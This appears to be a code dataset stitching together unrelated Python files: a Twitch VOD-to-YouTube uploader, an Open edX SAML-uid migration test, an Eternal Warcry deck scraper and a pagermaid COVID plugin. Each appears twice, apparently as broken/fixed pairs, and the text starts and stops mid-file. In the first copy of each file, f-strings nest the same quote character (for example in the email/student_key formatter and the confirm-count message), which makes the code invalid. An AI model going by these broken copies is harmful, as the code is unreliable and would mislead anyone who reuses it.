success.add(self.webhook.unsubscribe_topic(uuid))
self.webhook_uuid = None
self.logger.info(f'Unsubscribed from eventsub for {self.channel}')
return all(success)
else:
return True
def webhook_subscribe(self):
try:
online_uuid = self.webhook.listen_stream_online(self.user_id, self.callback_online)
offline_uuid = self.webhook.listen_stream_offline(self.user_id, self.callback_offline)
channel_update_uuid = self.webhook.listen_channel_update(self.user_id, self.callback_channel_update)
self.webhook_uuid = {online_uuid, offline_uuid, channel_update_uuid}
self.logger.info(f'Subscribed to eventsub for {self.channel}')
except (EventSubSubscriptionConflict, EventSubSubscriptionTimeout, EventSubSubscriptionError) as e:
self.logger.error(e)
self.webhook_uuid = None
def get_user_id(self):
user_info = self.twitch.get_users(logins=[self.channel])
return user_info['data'][0]['id']
def sync_status(self):
ids = []
for id in self.status.copy():
if self.status[id] == False:
if not os.path.isfile(os.path.join(self.download_dir, f'{id}.ts')):
self.status.pop(id)
try:
for video in self.uploader.get_channel_videos():
if video['tvid']:
if video['part'] and video['part'] > 1:
ids.append(f'{video['tvid']}p{video['part']}')
else:
ids.append(str(video['tvid']))
for id in self.status.copy():
if not id in ids and self.status[id] == True:
self.status.pop(id)
for id in ids:
self.status[id] = True
self.logger.debug('Status synced with YouTube uploads')
except YouTubeOverQuota:
self.logger.error("YouTube quota is exceeded, can't sync status")
self.status.save()
def get_twitch_videos(self, video_type=VideoType.ARCHIVE):
cursor = None
videos = []
while True:
data = self.twitch.get_videos(user_id=self.user_id, first=100, after=cursor)
for video in data['data']:
if video['type'] == video_type:
videos.append(video)
if not 'cursor' in data['pagination']:
break
else:
cursor = data['pagination']['cursor']
return videos
def backlog_buffload(self):
videos = self.get_twitch_videos()
videos.sort(reverse=False, key=lambda x: datetime.datetime.strptime((x['created_at']), '%Y-%m-%dT%H:%M:%SZ'))
for video in videos:
if self.end: exit()
if self.uploader.pause and self.quota_pause:
self.logger.info('Pausing backlog processing until YouTube quota is refreshed')
while self.uploader.pause:
sleep(10)
self.backlog_video = vodloader_video(self, video['url'], video, backlog=True, quality=self.quality)
self.backlog_video.thread.join() | from twitchAPI.types import VideoType, EventSubSubscriptionConflict, EventSubSubscriptionTimeout, EventSubSubscriptionError
from time import sleep
from threading import Thread
import logging
from vodloader_video import vodloader_video
from vodloader_status import vodloader_status
from youtube_uploader import YouTubeOverQuota, youtube_uploader
import datetime
import pytz
import os
class vodloader(object):
def __init__(self, sl, channel, twitch, webhook, twitch_config, yt_json, download_dir, keep=False, upload=True, sort=True, quota_pause=True, tz=pytz.timezone("America/Chicago")):
self.streamlink = sl
self.end = False
self.channel = channel
self.logger = logging.getLogger(f'vodloader.{self.channel}')
self.logger.info(f'Setting up vodloader for {self.channel}')
self.tz = tz
self.download_dir = download_dir
self.keep = keep
self.twitch = twitch
self.webhook = webhook
self.upload = upload
self.quota_pause = quota_pause
if self.upload:
self.uploader = youtube_uploader(self, yt_json, twitch_config['youtube_param'], sort)
if self.uploader.sort:
self.uploader.sort_playlist_by_timestamp(twitch_config['youtube_param']['playlistId'])
else:
self.uploader = None
self.user_id = self.get_user_id()
self.status = vodloader_status(self.user_id)
self.sync_status()
self.get_live()
self.webhook_subscribe()
if 'chapters' in twitch_config and twitch_config['chapters'] != "":
self.chapters_type = twitch_config['chapters']
else:
self.chapters_type = False
if 'quality' in twitch_config and twitch_config['quality'] != "":
self.quality = twitch_config['quality']
else:
self.quality = 'best'
if 'backlog' in twitch_config and twitch_config['backlog']:
self.backlog = twitch_config['backlog']
else:
self.backlog = False
if self.backlog:
self.backlog_process = Thread(target=self.backlog_buffload, args=(), daemon=True)
self.backlog_process.start()
def __del__(self):
self.webhook_unsubscribe()
async def callback_online(self, data: dict):
if not self.live:
self.live = True
self.logger.info(f'{self.channel} has gone live!')
data = self.twitch.get_streams(user_id=self.user_id)['data'][0]
url = 'https://www.twitch.tv/' + self.channel
self.livestream = vodloader_video(self, url, data, backlog=False, quality=self.quality)
async def callback_offline(self, data: dict):
self.live = False
self.logger.info(f'{self.channel} has gone offline')
async def callback_channel_update(self, data:dict):
if self.live:
data = data['event']
if self.livestream.chapters.get_current_game() != data["category_name"]:
self.logger.info(f'{self.channel} has changed game to {data["category_name"]}')
if self.livestream.chapters.get_current_title() != data["title"]:
self.logger.info(f'{self.channel} has changed their title to {data["title"]}')
self.livestream.chapters.append(data['category_name'], data['title'])
def get_live(self):
data = self.twitch.get_streams(user_id=self.user_id)
if not data['data']:
self.live = False
elif data['data'][0]['type'] == 'live':
self.live = True
else:
self.live = False
return self.live
def webhook_unsubscribe(self):
if self.webhook_uuid:
success = set()
for uuid in self.webhook_uuid:
success.add(self.webhook.unsubscribe_topic(uuid))
self.webhook_uuid = None
self.logger.info(f'Unsubscribed from eventsub for {self.channel}')
return all(success)
else:
return True
def webhook_subscribe(self):
try:
online_uuid = self.webhook.listen_stream_online(self.user_id, self.callback_online)
offline_uuid = self.webhook.listen_stream_offline(self.user_id, self.callback_offline)
channel_update_uuid = self.webhook.listen_channel_update(self.user_id, self.callback_channel_update)
self.webhook_uuid = {online_uuid, offline_uuid, channel_update_uuid}
self.logger.info(f'Subscribed to eventsub for {self.channel}')
except (EventSubSubscriptionConflict, EventSubSubscriptionTimeout, EventSubSubscriptionError) as e:
self.logger.error(e)
self.webhook_uuid = None
def get_user_id(self):
user_info = self.twitch.get_users(logins=[self.channel])
return user_info['data'][0]['id']
def sync_status(self):
ids = []
for id in self.status.copy():
if self.status[id] == False:
if not os.path.isfile(os.path.join(self.download_dir, f'{id}.ts')):
self.status.pop(id)
try:
for video in self.uploader.get_channel_videos():
if video['tvid']:
if video['part'] and video['part'] > 1:
ids.append(f'{video["tvid"]}p{video["part"]}')
else:
ids.append(str(video['tvid']))
for id in self.status.copy():
if not id in ids and self.status[id] == True:
self.status.pop(id)
for id in ids:
self.status[id] = True
self.logger.debug('Status synced with YouTube uploads')
except YouTubeOverQuota:
self.logger.error("YouTube quota is exceeded, can't sync status")
self.status.save()
def get_twitch_videos(self, video_type=VideoType.ARCHIVE):
cursor = None
videos = []
while True:
data = self.twitch.get_videos(user_id=self.user_id, first=100, after=cursor)
for video in data['data']:
if video['type'] == video_type:
videos.append(video)
if not 'cursor' in data['pagination']:
break
else:
cursor = data['pagination']['cursor']
return videos
def backlog_buffload(self):
videos = self.get_twitch_videos()
videos.sort(reverse=False, key=lambda x: datetime.datetime.strptime((x['created_at']), '%Y-%m-%dT%H:%M:%SZ'))
for video in videos:
if self.end: exit()
if self.uploader.pause and self.quota_pause:
self.logger.info('Pausing backlog processing until YouTube quota is refreshed')
while self.uploader.pause:
sleep(10)
self.backlog_video = vodloader_video(self, video['url'], video, backlog=True, quality=self.quality)
self.backlog_video.thread.join() |
"""
Tests for the migrate_saml_uids management command.
"""
from unittest.mock import mock_open, patch
from django.core.management import call_command
from django.test import TestCase
from social_django.models import UserSocialAuth
from common.djangoapps.student.tests.factories import UserFactory
from lms.djangoapps.program_enrollments.management.commands import migrate_saml_uids
from lms.djangoapps.program_enrollments.management.commands.tests.utils import UserSocialAuthFactory
_COMMAND_PATH = 'lms.djangoapps.program_enrollments.management.commands.migrate_saml_uids'
class TestMigrateSamlUids(TestCase):
"""
Test migrate_saml_uids command.
"""
provider_slug = 'gatech'
@classmethod
def setUpClass(cls):
super().setUpClass()
cls.command = migrate_saml_uids.Command()
def _format_email_uid_pair(self, email, uid):
return f'{{'email':'{email}","student_key":"{uid}"}}'
def _format_single_email_uid_pair_json(self, email, uid):
return '[{obj}]'.format(
obj=self._format_email_uid_pair(email, uid)
)
def _call_command(self, data):
"""
Call management command with `data` as contents of input file.
"""
with patch(
_COMMAND_PATH + '.py3_open',
mock_open(read_data=data)
) as _:
call_command(
self.command,
uid_mapping='./foo.json',
saml_provider_slug=self.provider_slug
)
def _format_slug_urn_pair(self, slug, urn):
return f'{slug}:{urn}'
def test_single_mapping(self):
new_urn = '9001'
auth = UserSocialAuthFactory.create(slug=self.provider_slug)
email = auth.user.email
old_uid = auth.uid
self._call_command(self._format_single_email_uid_pair_json(email, new_urn))
auth.refresh_from_db()
assert auth.uid == self._format_slug_urn_pair(self.provider_slug, new_urn)
assert not auth.uid == old_uid
def test_post_save_occurs(self):
"""
Test the signals downstream of this update are called with appropriate arguments
"""
auth = UserSocialAuthFactory.create(slug=self.provider_slug)
new_urn = '9001'
email = auth.user.email
with patch('lms.djangoapps.program_enrollments.signals.matriculate_learner') as signal_handler_mock:
self._call_command(self._format_single_email_uid_pair_json(email, new_urn))
assert signal_handler_mock.called
# first positional arg matches the user whose auth was updated
assert signal_handler_mock.call_args[0][0].id == auth.user.id
# second positional arg matches the urn we changed
assert signal_handler_mock.call_args[0][1] == self._format_slug_urn_pair(self.provider_slug, new_urn)
def test_multiple_social_auth_records(self):
"""
Test we only alter one UserSocialAuth record if a learner has two
"""
auth1 = UserSocialAuthFactory.create(slug=self.provider_slug)
auth2 = UserSocialAuthFactory.create(
slug=self.provider_slug,
user=auth1.user
)
new_urn = '9001'
email = auth1.user.email
assert email == auth2.user.email
self._call_command(self._format_single_email_uid_pair_json(email, new_urn))
auths = UserSocialAuth.objects.filter(
user__email=email,
uid=self._format_slug_urn_pair(self.provider_slug, new_urn)
)
assert auths.count() == 1
@patch(_COMMAND_PATH + '.log')
def test_learner_without_social_auth_records(self, mock_log):
user = UserFactory()
email = user.email
new_urn = '9001'
mock_info = mock_log.info
self._call_command(self._format_single_email_uid_pair_json(email, new_urn))
mock_info.assert_any_call(
'Number of users identified in the mapping file without'
' {slug} UserSocialAuth records: 1'.format(
slug=self.provider_slug
)
)
@patch(_COMMAND_PATH + '.log')
def test_learner_missed_by_mapping_file(self, mock_log):
auth = UserSocialAuthFactory()
# pylint disable required b/c this lint rule is confused about subfactories
email = auth.user.email
new_urn = '9001'
mock_info = mock_log.info
self._call_command(self._format_single_email_uid_pair_json('different' + email, new_urn))
mock_info.assert_any_call(
'Number of users with {slug} UserSocialAuth records '
'for which there was no mapping in the provided file: 1'.format(
slug=self.provider_slug
)
)
@patch(_COMMAND_PATH + '.log')
def test_several_learners(self, mock_log):
auths = [UserSocialAuthFactory() for _ in range(5)]
new_urn = '9001'
mock_info = mock_log.info
self._call_command('[{}]'.format(
','.join(
[
self._format_email_uid_pair(
auth.user.email,
new_urn + str(ind)
)
for ind, auth
in enumerate(auths)
]
)
))
for ind, auth in enumerate(auths):
auth.refresh_from_db()
assert auth.uid == self._format_slug_urn_pair(self.provider_slug, new_urn + str(ind))
mock_info.assert_any_call('Number of mappings in the mapping file updated: 5')
@patch(_COMMAND_PATH + '.log')
def test_learner_duplicated_in_mapping(self, mock_log):
auth = UserSocialAuthFactory()
email = auth.user.email
new_urn = '9001'
mock_info = mock_log.info
self._call_command('[{}]'.format(
','.join([self._format_email_uid_pair(email, new_urn) for _ in range(5)])
))
mock_info.assert_any_call('Number of mappings in the mapping file where the '
'identified user has already been processed: 4')
| """
Tests for the migrate_saml_uids management command.
"""
from unittest.mock import mock_open, patch
from django.core.management import call_command
from django.test import TestCase
from social_django.models import UserSocialAuth
from common.djangoapps.student.tests.factories import UserFactory
from lms.djangoapps.program_enrollments.management.commands import migrate_saml_uids
from lms.djangoapps.program_enrollments.management.commands.tests.utils import UserSocialAuthFactory
_COMMAND_PATH = 'lms.djangoapps.program_enrollments.management.commands.migrate_saml_uids'
class TestMigrateSamlUids(TestCase):
"""
Test migrate_saml_uids command.
"""
provider_slug = 'gatech'
@classmethod
def setUpClass(cls):
super().setUpClass()
cls.command = migrate_saml_uids.Command()
def _format_email_uid_pair(self, email, uid):
return f'{{"email":"{email}","student_key":"{uid}"}}'
def _format_single_email_uid_pair_json(self, email, uid):
return '[{obj}]'.format(
obj=self._format_email_uid_pair(email, uid)
)
def _call_command(self, data):
"""
Call management command with `data` as contents of input file.
"""
with patch(
_COMMAND_PATH + '.py3_open',
mock_open(read_data=data)
) as _:
call_command(
self.command,
uid_mapping='./foo.json',
saml_provider_slug=self.provider_slug
)
def _format_slug_urn_pair(self, slug, urn):
return f'{slug}:{urn}'
def test_single_mapping(self):
new_urn = '9001'
auth = UserSocialAuthFactory.create(slug=self.provider_slug)
email = auth.user.email
old_uid = auth.uid
self._call_command(self._format_single_email_uid_pair_json(email, new_urn))
auth.refresh_from_db()
assert auth.uid == self._format_slug_urn_pair(self.provider_slug, new_urn)
assert not auth.uid == old_uid
def test_post_save_occurs(self):
"""
Test the signals downstream of this update are called with appropriate arguments
"""
auth = UserSocialAuthFactory.create(slug=self.provider_slug)
new_urn = '9001'
email = auth.user.email
with patch('lms.djangoapps.program_enrollments.signals.matriculate_learner') as signal_handler_mock:
self._call_command(self._format_single_email_uid_pair_json(email, new_urn))
assert signal_handler_mock.called
# first positional arg matches the user whose auth was updated
assert signal_handler_mock.call_args[0][0].id == auth.user.id
# second positional arg matches the urn we changed
assert signal_handler_mock.call_args[0][1] == self._format_slug_urn_pair(self.provider_slug, new_urn)
def test_multiple_social_auth_records(self):
"""
Test we only alter one UserSocialAuth record if a learner has two
"""
auth1 = UserSocialAuthFactory.create(slug=self.provider_slug)
auth2 = UserSocialAuthFactory.create(
slug=self.provider_slug,
user=auth1.user
)
new_urn = '9001'
email = auth1.user.email
assert email == auth2.user.email
self._call_command(self._format_single_email_uid_pair_json(email, new_urn))
auths = UserSocialAuth.objects.filter(
user__email=email,
uid=self._format_slug_urn_pair(self.provider_slug, new_urn)
)
assert auths.count() == 1
@patch(_COMMAND_PATH + '.log')
def test_learner_without_social_auth_records(self, mock_log):
user = UserFactory()
email = user.email
new_urn = '9001'
mock_info = mock_log.info
self._call_command(self._format_single_email_uid_pair_json(email, new_urn))
mock_info.assert_any_call(
'Number of users identified in the mapping file without'
' {slug} UserSocialAuth records: 1'.format(
slug=self.provider_slug
)
)
@patch(_COMMAND_PATH + '.log')
def test_learner_missed_by_mapping_file(self, mock_log):
auth = UserSocialAuthFactory()
# pylint disable required b/c this lint rule is confused about subfactories
email = auth.user.email
new_urn = '9001'
mock_info = mock_log.info
self._call_command(self._format_single_email_uid_pair_json('different' + email, new_urn))
mock_info.assert_any_call(
'Number of users with {slug} UserSocialAuth records '
'for which there was no mapping in the provided file: 1'.format(
slug=self.provider_slug
)
)
@patch(_COMMAND_PATH + '.log')
def test_several_learners(self, mock_log):
auths = [UserSocialAuthFactory() for _ in range(5)]
new_urn = '9001'
mock_info = mock_log.info
self._call_command('[{}]'.format(
','.join(
[
self._format_email_uid_pair(
auth.user.email,
new_urn + str(ind)
)
for ind, auth
in enumerate(auths)
]
)
))
for ind, auth in enumerate(auths):
auth.refresh_from_db()
assert auth.uid == self._format_slug_urn_pair(self.provider_slug, new_urn + str(ind))
mock_info.assert_any_call('Number of mappings in the mapping file updated: 5')
@patch(_COMMAND_PATH + '.log')
def test_learner_duplicated_in_mapping(self, mock_log):
auth = UserSocialAuthFactory()
email = auth.user.email
new_urn = '9001'
mock_info = mock_log.info
self._call_command('[{}]'.format(
','.join([self._format_email_uid_pair(email, new_urn) for _ in range(5)])
))
mock_info.assert_any_call('Number of mappings in the mapping file where the '
'identified user has already been processed: 4')
|
"""The Deck model and related utilities"""
import enum
import logging
import typing as t
import urllib.error
from datetime import datetime
import tqdm
import infiltrate.browsers as browsers
import infiltrate.global_data as global_data
import infiltrate.models.card as card
# todo replace application with config injection
from infiltrate import application, db
class DeckHasCard(db.Model):
"""A table showing how many copies of a card a deck has."""
deck_id = db.Column(
"deck_id", db.String(length=100), db.ForeignKey("decks.id"), primary_key=True
)
set_num = db.Column("set_num", db.Integer, primary_key=True)
card_num = db.Column("card_num", db.Integer, primary_key=True)
num_played = db.Column("num_played", db.Integer, nullable=False)
__table_args__ = (
db.ForeignKeyConstraint(
[set_num, card_num], [card.Card.set_num, card.Card.card_num]
),
{},
)
def to_card_id(self) -> card.CardId:
return card.CardId(set_num=self.set_num, card_num=self.card_num)
class DeckType(enum.Enum):
"""Enum for deck types matching Warcry"""
unknown = 0
standard = 1
throne = 1
draft = 2
gauntlet = 3
forge = 4
campaign = 5
event = 6
_ = 7
expedition = 8
other = 9
class Archetype(enum.Enum):
"""Enum for deck archetypes matching Warcry"""
unknown = 0
aggro = 1
midrange = 2
combo = 3
control = 4
tempo = 5
aggro_control = 6
aggro_combo = 7
aggro_midrange = 8
control_combo = 9
control_midrange = 10
tempo_combo = 11
tempo_control = 12
combo_midrange = 13
class Deck(db.Model):
"""Model representing an Eternal Deck from Warcry"""
__tablename__ = "decks"
id = db.Column("id", db.String(length=100), primary_key=True)
archetype = db.Column("archetype", db.Enum(Archetype), nullable=True)
date_added = db.Column("date_added", db.DateTime)
date_updated = db.Column("date_updated", db.DateTime)
deck_type = db.Column("deck_type", db.Enum(DeckType))
description = db.Column("description", db.Text, nullable=True)
patch = db.Column("patch", db.String(length=10))
username = db.Column("username", db.String(length=30))
views = db.Column("views", db.Integer)
rating = db.Column("rating", db.Integer)
cards = db.relationship("DeckHasCard")
@classmethod
def get_from_id(cls, deck_id: str):
"""Gets the deck matching the deck id."""
return Deck.query.filter_by(id=deck_id).first()
# noinspection PyMissingOrEmptyDocstring
class _WarcryNewIdGetter:
ITEMS_PER_PAGE = 50
def get_new_ids(self, max_decks=None):
if max_decks is not None:
max_pages = max_decks / self.ITEMS_PER_PAGE
else:
max_pages = None
logging.info("Getting new deck ids")
new_ids = []
page = 0
while True:
ids_on_page = self.get_ids_from_page(page)
new_ids_on_page = self.remove_old_ids(ids_on_page)
new_ids += new_ids_on_page
if not new_ids_on_page or max_pages is not None and page >= max_pages:
# todo this may need testing.
break
page += 1
logging.info(f"Pages of deck ids ready: {page}")
return new_ids
def get_ids_from_page(self, page: int):
url = (
"https://api.eternalwarcry.com/v1/decks/SearchDecks"
+ f"?starting={self.ITEMS_PER_PAGE * page}"
+ f"&perpage={self.ITEMS_PER_PAGE}"
+ f"&key={application.config["WARCRY_KEY"]}"
)
page_json = browsers.get_json_from_url(url)
ids = self.get_ids_from_page_json(page_json)
return ids
@staticmethod
def get_ids_from_page_json(page_json: t.Dict):
decks = page_json["decks"]
ids = [deck["deck_id"] for deck in decks]
return ids
@staticmethod
def remove_old_ids(ids: t.List[str]) -> t.List[str]:
new_ids = []
for deck_id in ids:
if not Deck.get_from_id(deck_id):
new_ids.append(deck_id)
else:
break
return new_ids
def get_new_warcry_ids(max_decks=1_000):
"""Return all Warcry deck IDs newer than any in the database."""
id_getter = _WarcryNewIdGetter()
ids = id_getter.get_new_ids(max_decks=max_decks)
return ids
def update_decks():
"""Updates the database with all new Warcry decks"""
# noinspection PyMissingOrEmptyDocstring
class _WarcyDeckUpdater:
def run(self):
ids = get_new_warcry_ids(1_000)
for deck_id in tqdm.tqdm(ids, desc="Updating decks"):
self.update_deck(deck_id)
def update_deck(self, deck_id: str):
url = (
"https://api.eternalwarcry.com/v1/decks/details"
+ f"?key={application.config["WARCRY_KEY"]}"
+ f"&deck_id={deck_id}"
)
try:
page_json = browsers.get_json_from_url(url)
except (ConnectionError, urllib.error.HTTPError):
return
self.make_deck_from_details_json(page_json)
def make_deck_from_details_json(self, page_json: t.Dict):
archetype = Archetype[page_json["archetype"].lower().replace(" ", "_")]
try:
deck_type = DeckType.__dict__[
page_json["deck_type"].lower().replace(" ", "_")
]
except KeyError: # not sure this is the right exception
deck_type = DeckType(int(page_json["deck_type"]))
deck = Deck(
id=page_json["deck_id"],
archetype=archetype,
date_added=datetime.strptime(
page_json["date_added_full"][:19], "%Y-%m-%dT%H:%M:%S"
),
date_updated=datetime.strptime(
page_json["date_updated_full"][:19], "%Y-%m-%dT%H:%M:%S"
),
deck_type=deck_type,
description=page_json["description"].encode("ascii", errors="ignore"),
patch=page_json["patch"],
username=page_json["username"],
views=page_json["views"],
rating=page_json["rating"],
)
self.add_cards_to_deck(deck, page_json)
db.session.merge(deck)
db.session.commit()
@staticmethod
def add_cards_to_deck(deck: Deck, page_json: t.Dict):
cards_json = (
page_json["deck_cards"]
+ page_json["sideboard_cards"]
+ page_json["market_cards"]
)
for card_json in cards_json:
set_num = card_json["set_number"]
card_num = card_json["eternal_id"]
card_id = card.CardId(set_num, card_num)
# todo better to pass all_cards to this than use the global
if global_data.all_cards.card_exists(card_id):
deck_has_card = DeckHasCard(
deck_id=page_json["deck_id"],
set_num=set_num,
card_num=card_num,
num_played=card_json["count"],
)
deck.cards.append(deck_has_card)
logging.info("Updating decks")
updater = _WarcyDeckUpdater()
updater.run()
| """The Deck model and related utilities"""
import enum
import logging
import typing as t
import urllib.error
from datetime import datetime
import tqdm
import infiltrate.browsers as browsers
import infiltrate.global_data as global_data
import infiltrate.models.card as card
# todo replace application with config injection
from infiltrate import application, db
class DeckHasCard(db.Model):
"""A table showing how many copies of a card a deck has."""
deck_id = db.Column(
"deck_id", db.String(length=100), db.ForeignKey("decks.id"), primary_key=True
)
set_num = db.Column("set_num", db.Integer, primary_key=True)
card_num = db.Column("card_num", db.Integer, primary_key=True)
num_played = db.Column("num_played", db.Integer, nullable=False)
__table_args__ = (
db.ForeignKeyConstraint(
[set_num, card_num], [card.Card.set_num, card.Card.card_num]
),
{},
)
def to_card_id(self) -> card.CardId:
return card.CardId(set_num=self.set_num, card_num=self.card_num)
class DeckType(enum.Enum):
"""Enum for deck types matching Warcry"""
unknown = 0
standard = 1
throne = 1
draft = 2
gauntlet = 3
forge = 4
campaign = 5
event = 6
_ = 7
expedition = 8
other = 9
class Archetype(enum.Enum):
"""Enum for deck archetypes matching Warcry"""
unknown = 0
aggro = 1
midrange = 2
combo = 3
control = 4
tempo = 5
aggro_control = 6
aggro_combo = 7
aggro_midrange = 8
control_combo = 9
control_midrange = 10
tempo_combo = 11
tempo_control = 12
combo_midrange = 13
class Deck(db.Model):
"""Model representing an Eternal Deck from Warcry"""
__tablename__ = "decks"
id = db.Column("id", db.String(length=100), primary_key=True)
archetype = db.Column("archetype", db.Enum(Archetype), nullable=True)
date_added = db.Column("date_added", db.DateTime)
date_updated = db.Column("date_updated", db.DateTime)
deck_type = db.Column("deck_type", db.Enum(DeckType))
description = db.Column("description", db.Text, nullable=True)
patch = db.Column("patch", db.String(length=10))
username = db.Column("username", db.String(length=30))
views = db.Column("views", db.Integer)
rating = db.Column("rating", db.Integer)
cards = db.relationship("DeckHasCard")
@classmethod
def get_from_id(cls, deck_id: str):
"""Gets the deck matching the deck id."""
return Deck.query.filter_by(id=deck_id).first()
# noinspection PyMissingOrEmptyDocstring
class _WarcryNewIdGetter:
ITEMS_PER_PAGE = 50
def get_new_ids(self, max_decks=None):
if max_decks is not None:
max_pages = max_decks / self.ITEMS_PER_PAGE
else:
max_pages = None
logging.info("Getting new deck ids")
new_ids = []
page = 0
while True:
ids_on_page = self.get_ids_from_page(page)
new_ids_on_page = self.remove_old_ids(ids_on_page)
new_ids += new_ids_on_page
if not new_ids_on_page or max_pages is not None and page >= max_pages:
# todo this may need testing.
break
page += 1
logging.info(f"Pages of deck ids ready: {page}")
return new_ids
def get_ids_from_page(self, page: int):
url = (
"https://api.eternalwarcry.com/v1/decks/SearchDecks"
+ f"?starting={self.ITEMS_PER_PAGE * page}"
+ f"&perpage={self.ITEMS_PER_PAGE}"
+ f"&key={application.config['WARCRY_KEY']}"
)
page_json = browsers.get_json_from_url(url)
ids = self.get_ids_from_page_json(page_json)
return ids
@staticmethod
def get_ids_from_page_json(page_json: t.Dict):
decks = page_json["decks"]
ids = [deck["deck_id"] for deck in decks]
return ids
@staticmethod
def remove_old_ids(ids: t.List[str]) -> t.List[str]:
new_ids = []
for deck_id in ids:
if not Deck.get_from_id(deck_id):
new_ids.append(deck_id)
else:
break
return new_ids
def get_new_warcry_ids(max_decks=1_000):
"""Return all Warcry deck IDs newer than any in the database."""
id_getter = _WarcryNewIdGetter()
ids = id_getter.get_new_ids(max_decks=max_decks)
return ids
def update_decks():
"""Updates the database with all new Warcry decks"""
# noinspection PyMissingOrEmptyDocstring
class _WarcyDeckUpdater:
def run(self):
ids = get_new_warcry_ids(1_000)
for deck_id in tqdm.tqdm(ids, desc="Updating decks"):
self.update_deck(deck_id)
def update_deck(self, deck_id: str):
url = (
"https://api.eternalwarcry.com/v1/decks/details"
+ f"?key={application.config['WARCRY_KEY']}"
+ f"&deck_id={deck_id}"
)
try:
page_json = browsers.get_json_from_url(url)
except (ConnectionError, urllib.error.HTTPError):
return
self.make_deck_from_details_json(page_json)
def make_deck_from_details_json(self, page_json: t.Dict):
archetype = Archetype[page_json["archetype"].lower().replace(" ", "_")]
try:
deck_type = DeckType.__dict__[
page_json["deck_type"].lower().replace(" ", "_")
]
except KeyError: # not sure this is the right exception
deck_type = DeckType(int(page_json["deck_type"]))
deck = Deck(
id=page_json["deck_id"],
archetype=archetype,
date_added=datetime.strptime(
page_json["date_added_full"][:19], "%Y-%m-%dT%H:%M:%S"
),
date_updated=datetime.strptime(
page_json["date_updated_full"][:19], "%Y-%m-%dT%H:%M:%S"
),
deck_type=deck_type,
description=page_json["description"].encode("ascii", errors="ignore"),
patch=page_json["patch"],
username=page_json["username"],
views=page_json["views"],
rating=page_json["rating"],
)
self.add_cards_to_deck(deck, page_json)
db.session.merge(deck)
db.session.commit()
@staticmethod
def add_cards_to_deck(deck: Deck, page_json: t.Dict):
cards_json = (
page_json["deck_cards"]
+ page_json["sideboard_cards"]
+ page_json["market_cards"]
)
for card_json in cards_json:
set_num = card_json["set_number"]
card_num = card_json["eternal_id"]
card_id = card.CardId(set_num, card_num)
# todo better to pass all_cards to this than use the global
if global_data.all_cards.card_exists(card_id):
deck_has_card = DeckHasCard(
deck_id=page_json["deck_id"],
set_num=set_num,
card_num=card_num,
num_played=card_json["count"],
)
deck.cards.append(deck_has_card)
logging.info("Updating decks")
updater = _WarcyDeckUpdater()
updater.run()
|
""" https://github.com/Zeta-qixi/nonebot-plugin-covid19-news """
import json
from typing import Dict
from pagermaid.listener import listener
from pagermaid.utils import alias_command, obtain_message, get
POLICY_ID = {}
class Area:
def __init__(self, data):
self.name = data['name']
self.today = data['today']
self.total = data['total']
self.grade = data['total'].get('grade', '风险未确认')
self.children = data.get('children', None)
@property
async def policy(self):
return await get_policy(POLICY_ID.get(self.name))
@property
def main_info(self):
return f"**{self.name} 新冠肺炎疫情情况** ({self.grade})\n\n" \
f"`😔新增确诊:{self.today["confirm"]}`\n" \
f"`☢️现存确诊:{self.total["nowConfirm"]}`"
class AreaList(Dict):
def add(self, data):
self[data.name] = data
class NewsData:
def __init__(self):
self.data = {}
self.time = ''
self.update_data()
async def update_data(self):
url = "https://view.inews.qq.com/g2/getOnsInfo?name=disease_h5"
res = (await get(url)).json()
if res['ret'] != 0:
return
data = json.loads(res['data'])
if data['lastUpdateTime'] != self.time:
self.time = data['lastUpdateTime']
self.data = AreaList()
def get_Data(data_):
if isinstance(data_, list):
for i in data_:
get_Data(i)
if isinstance(data_, dict):
area_ = data_.get('children')
if area_:
get_Data(area_)
self.data.add(Area(data_)) # noqa
get_Data(data['areaTree'][0])
return
async def set_pid():
url_city_list = 'https://r.inews.qq.com/api/trackmap/citylist?'
resp = await get(url_city_list)
res = resp.json()
for province in res['result']:
cities = province.get('list')
if cities:
for city in cities:
cid = city['id']
name = city['name']
POLICY_ID[name] = cid
async def get_policy(uid):
url_get_policy = f"https://r.inews.qq.com/api/trackmap/citypolicy?&city_id={uid}"
resp = await get(url_get_policy)
res_ = resp.json()
if res_['message'] != 'success':
return "数据获取失败!"
try:
data = res_['result']['data'][0]
except IndexError:
return "暂无政策信息"
# data['leave_policy_date']
# data['leave_policy']
# data['back_policy_date']
# data['back_policy']
# data['poi_list'] # 风险区域
msg = f"出行({data['leave_policy_date']})\n{data['leave_policy']}\n\
------\n\
进入({data['back_policy_date']})\n{data['back_policy']}"
return msg
NewsBot = NewsData()
@listener(is_plugin=True, outgoing=True, command=alias_command("covid"),
description="获取新冠疫情信息。",
parameters="<地区>")
async def covid_info(context):
global POLICY_ID, NewsBot
await context.edit("正在获取中。。。")
if not POLICY_ID:
await set_pid()
await NewsBot.update_data()
try:
city = await obtain_message(context)
except ValueError:
return await context.edit("[covid] 无法获取城市名!")
zc = False
if city.find("政策") != -1:
zc = True
city = city.replace("政策", "")
city = NewsBot.data.get(city)
if city:
policy = "Tips: 查询出行政策可加上 `政策`"
if zc:
policy = await city.policy
await context.edit(f"{city.main_info}\n\n{policy}")
else:
await context.edit("[covid] 只限查询国内城市或你地理没学好。")
| """ https://github.com/Zeta-qixi/nonebot-plugin-covid19-news """
import json
from typing import Dict
from pagermaid.listener import listener
from pagermaid.utils import alias_command, obtain_message, get
POLICY_ID = {}
class Area:
def __init__(self, data):
self.name = data['name']
self.today = data['today']
self.total = data['total']
self.grade = data['total'].get('grade', '风险未确认')
self.children = data.get('children', None)
@property
async def policy(self):
return await get_policy(POLICY_ID.get(self.name))
@property
def main_info(self):
return f"**{self.name} 新冠肺炎疫情情况** ({self.grade})\n\n" \
f"`😔新增确诊:{self.today['confirm']}`\n" \
f"`☢️现存确诊:{self.total['nowConfirm']}`"
class AreaList(Dict):
def add(self, data):
self[data.name] = data
class NewsData:
def __init__(self):
self.data = {}
self.time = ''
self.update_data()
async def update_data(self):
url = "https://view.inews.qq.com/g2/getOnsInfo?name=disease_h5"
res = (await get(url)).json()
if res['ret'] != 0:
return
data = json.loads(res['data'])
if data['lastUpdateTime'] != self.time:
self.time = data['lastUpdateTime']
self.data = AreaList()
def get_Data(data_):
if isinstance(data_, list):
for i in data_:
get_Data(i)
if isinstance(data_, dict):
area_ = data_.get('children')
if area_:
get_Data(area_)
self.data.add(Area(data_)) # noqa
get_Data(data['areaTree'][0])
return
async def set_pid():
url_city_list = 'https://r.inews.qq.com/api/trackmap/citylist?'
resp = await get(url_city_list)
res = resp.json()
for province in res['result']:
cities = province.get('list')
if cities:
for city in cities:
